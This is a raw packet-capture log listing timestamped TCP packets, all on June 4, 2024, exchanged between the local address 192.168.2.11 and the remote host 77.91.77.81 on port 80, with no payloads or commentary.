Jun 4, 2024 23:09:15.935261011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935266972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935272932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935273886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935273886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935314894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935329914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935334921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935345888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935357094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935367107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935368061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935368061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935379028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935390949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935403109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935408115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935410976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935410976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935414076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935425997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935436010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935447931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935457945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935461998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935473919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935484886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935497046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935497046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935497999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935509920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935520887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935528040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935533047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935535908 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935545921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935555935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935566902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935578108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935590029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935595989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935595989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935595989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935602903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935616016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935636044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935748100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069113970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069132090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069154024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069164991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069184065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069195032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069207907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069217920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069216967 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069281101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069473028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069550991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069561958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069575071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069585085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069596052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069603920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069603920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069708109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069725037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069742918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069753885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069765091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069771051 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069771051 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069783926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069796085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069802999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069802999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069808006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069819927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069829941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069839001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069844007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069858074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069864035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069870949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069880962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069891930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069902897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069910049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069910049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069921017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069933891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069941998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.069977999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069988966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.069999933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070010900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070019007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070019007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070023060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070034027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070046902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070076942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070076942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070136070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070147038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070158005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070204973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070204973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070260048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070298910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070316076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070328951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070348978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070358992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070364952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070364952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070370913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070382118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070394039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070404053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070417881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070425034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070425987 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070430040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070441961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070453882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070462942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070478916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070481062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070481062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070492983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070506096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070523024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070524931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070538998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070549011 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070549011 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070549965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070561886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070574045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070583105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070583105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070595026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070606947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070619106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070630074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070641994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070647955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070647955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070647955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070662975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070678949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070678949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070694923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070704937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070718050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070729971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070732117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070732117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070740938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070754051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070766926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070777893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070790052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070801973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070801973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070801973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070801973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070822954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070842981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070847988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070847988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070853949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070864916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070877075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070887089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070898056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070909977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070914030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070914030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070923090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070934057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070945024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070955992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070966959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070977926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.070981979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070981979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070981979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.070996046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071012974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071022987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071024895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071024895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071033001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071044922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071057081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071068048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071072102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071072102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071088076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071110964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071120977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071120977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071122885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071132898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071144104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071154118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071166039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071166039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071166039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071177959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071187973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071198940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071209908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071219921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071219921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071219921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071238041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071254015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071264982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071270943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071270943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071275949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071286917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071299076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071310997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071322918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071326971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071326971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071326971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071341038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071357012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071367025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071377039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071384907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071384907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071388960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071398020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071408033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071419001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071422100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071422100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071436882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071448088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071459055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071470976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071482897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071482897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071484089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071496010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071508884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071521044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071521997 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071521997 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071532011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071544886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071557045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071567059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071571112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071571112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071577072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071587086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071599007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071609020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071610928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071610928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071620941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071631908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071643114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071652889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071652889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071654081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071664095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071675062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071685076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071696043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.071700096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.071700096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072211027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072410107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072427988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072439909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072451115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072462082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072462082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072463036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072474957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072499037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072499037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072499037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072511911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072521925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072535038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072547913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072547913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072568893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072587013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072587013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072590113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072607040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072608948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072621107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072633028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072645903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072658062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072658062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072658062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072669983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072681904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072695017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072706938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072716951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072726965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072740078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072746992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072746992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072746992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072746992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072751045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072770119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072782040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072793961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072803020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072813034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072817087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072817087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072830915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072843075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072853088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072856903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072858095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072865009 CEST	80	49713	77.91.77.81	192.168.2.11
